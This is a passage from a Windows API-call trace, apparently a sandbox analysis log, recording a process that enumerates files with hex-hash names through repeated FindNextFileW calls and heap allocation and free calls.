dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="47D194343D81BB87B63E3776058D0709ADA9FE0B", cAlternateFileName="47D194~1")) returned 1 [0251.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0251.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0251.325] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0251.325] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0251.325] GetLastError () returned 0x12 [0251.325] GetLastError () returned 0x12 [0251.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0251.326] GetLastError () returned 0x12 [0251.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439da0 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1370 [0251.326] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84060c4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc84060c4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc842c220, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x521, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="483516ABA24A455AA0EF7181B6F831FC7494E7A3", cAlternateFileName="483516~1")) returned 1 [0251.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655ed8 | out: hHeap=0x570000) returned 1 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0251.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664c38 [0251.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0251.326] GetLastError () returned 0x12 [0251.326] GetLastError () returned 0x12 [0251.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664c38 | out: hHeap=0x570000) returned 1 [0251.326] GetLastError () returned 0x12 [0251.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439a88 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d10d0 [0251.326] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44f10e1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x44f10e1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e77b24, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa30, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4851C58D9C640F303B306BABB9DBE67261F15F08", cAlternateFileName="4851C5~1")) returned 1 [0251.326] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656378 | out: hHeap=0x570000) returned 1 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.326] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0251.327] GetLastError () returned 0x12 [0251.327] GetLastError () returned 0x12 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0251.327] GetLastError () returned 0x12 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a4d8 [0251.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1210 [0251.327] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x441ab626, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x441ab626, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x441ab626, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb19, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="48D18A403364708B74676D0C5068809EE47BCF43", cAlternateFileName="48D18A~1")) returned 1 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654d80 | out: hHeap=0x570000) returned 1 [0251.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0251.327] GetLastError () returned 0x12 [0251.327] GetLastError () returned 0x12 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0251.327] GetLastError () returned 0x12 [0251.327] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0251.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a5e0 [0251.327] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d12b0 [0251.328] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449b755a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x491d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="491DECD15F6DA1F39C25E411B302418495F1B28F", cAlternateFileName="491DEC~1")) returned 1 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6564a0 | out: hHeap=0x570000) returned 1 [0251.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0251.328] GetLastError () returned 0x12 [0251.328] GetLastError () returned 0x12 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0251.328] GetLastError () returned 0x12 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0251.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343aa00 [0251.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1170 [0251.328] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d595830, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x2d595830, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2d595830, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x523, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="49772025B554A1B58F236C062A67C6F401269337", cAlternateFileName="497720~1")) returned 1 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0251.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.328] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0251.328] GetLastError () returned 0x12 [0251.328] GetLastError () returned 0x12 [0251.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0251.328] GetLastError () returned 0x12 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e08 | out: hHeap=0x570000) returned 1 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439ea8 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1330 [0251.329] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa907ce07, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa907ce07, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa907ce07, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4996B3A4E4609BF5C760674E0477DC3B5B31E7BB", cAlternateFileName="4996B3~1")) returned 1 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0251.329] GetLastError () returned 0x12 [0251.329] GetLastError () returned 0x12 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0251.329] GetLastError () returned 0x12 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439b90 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1190 [0251.329] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45425a1e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45425a1e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4544bc83, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="49BEF680B849DB26256F9DA3DDFF8948DC33EB78", cAlternateFileName="49BEF6~1")) returned 1 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6556c0 | out: hHeap=0x570000) returned 1 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0251.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0251.329] GetLastError () returned 0x12 [0251.329] GetLastError () returned 0x12 [0251.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0251.330] GetLastError () returned 0x12 [0251.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343ad18 [0251.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5d1350 [0251.330] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ce6ad8, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43ce6ad8, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43ce6ad8, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4A46AC76F0CCC4293CC380999116F3B7911F85BE", cAlternateFileName="4A46AC~1")) returned 1 [0251.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654d80 | out: hHeap=0x570000) returned 1 [0251.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af08 [0251.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.330] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0251.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0251.330] GetLastError () returned 0x12 [0251.330] GetLastError () returned 0x12 [0251.330] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0251.330] GetLastError () returned 0x12 [0251.330] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd85fe5b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd85fe5b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd85fe5b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4B18B5ADA8BF2E475961694931BE215AED8ECBD5", cAlternateFileName="4B18B5~1")) returned 1 [0251.330] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79724a0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x79724a0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb777d4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1c51, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4BA0471095F4C3DB3F7C817993B07112EBDB3F59", cAlternateFileName="4BA047~1")) returned 1 [0251.330] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x113c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4BA0EA042C54101B7DDCD0C9F711AB73A69E39AF", cAlternateFileName="4BA0EA~1")) returned 1 [0251.330] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45793056, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45793056, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x457b9283, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4C2BFD9D85D0C1B7527A1BAD0613676DA6222786", cAlternateFileName="4C2BFD~1")) returned 1 [0251.330] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fead850, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3fead850, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3fead850, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xada, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4D7A41C5AA58D81098A00BB2DCD370DEC1EBBBC5", cAlternateFileName="4D7A41~1")) returned 1 [0251.330] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f92a134, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3f92a134, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f92a134, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa1d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4E4FE439C561F79240EC3AB7AE886C122ADED94A", cAlternateFileName="4E4FE4~1")) returned 1 [0251.331] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3bd4bec, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3bd4bec, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc3bd4bec, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x48d0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4E62B77ABD78ADC557B61986D9E366B41273F2AE", cAlternateFileName="4E62B7~1")) returned 1 [0251.331] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a8452e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43a8452e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43a8452e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4EB19FA3D8CEAD68F6470D09587A1393AA88100C", cAlternateFileName="4EB19F~1")) returned 1 [0251.331] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c05d84, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x3c05d84, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x416710e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1cbb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4ED140178E492EA87CC63B79854E2794790379DF", cAlternateFileName="4ED140~1")) returned 1 [0251.331] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe29, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4EFB15999EE57EDBFAADF69D6A31D8C6F90FE8DC", cAlternateFileName="4EFB15~1")) returned 1 [0251.331] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xe29, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4F0C54EEF677196E2899E5E79B4F3A906E46F926", cAlternateFileName="4F0C54~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5c99, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x70f5c99, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7100c8d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4F5B7C56CEF8F02506BB0BB5AB3AD85843369F94", cAlternateFileName="4F5B7C~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b755a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x449b755a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449b755a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4F680E68B8C682B5D2540FA7BE7B7F0D7521D9C9", cAlternateFileName="4F680E~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45471edf, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45471edf, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x45530aa0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4FBCDA21ACAE6C9FD6B604C7A16BAE88E45F4D18", cAlternateFileName="4FBCDA~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74ae200, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x74ae200, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x74b0916, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x8d24, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4FC87940361F2B04B3366CC184210D87808060BF", cAlternateFileName="4FC879~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440eca7b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x440eca7b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x440eca7b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xab58, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="4FCA54FC9B5C08F4A61C96D6642C029B00E50F17", cAlternateFileName="4FCA54~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436dfc5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x436dfc5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4e767b4, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1658, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="50368CB52EB7460247084562523D1AE6E2D6FF15", cAlternateFileName="50368C~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433cfb20, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x433cfb20, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x433cfb20, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x413, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="514D7C625328106E43CEC7FD7CF71AEDA0A3101F", cAlternateFileName="514D7C~1")) returned 1 [0251.354] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, 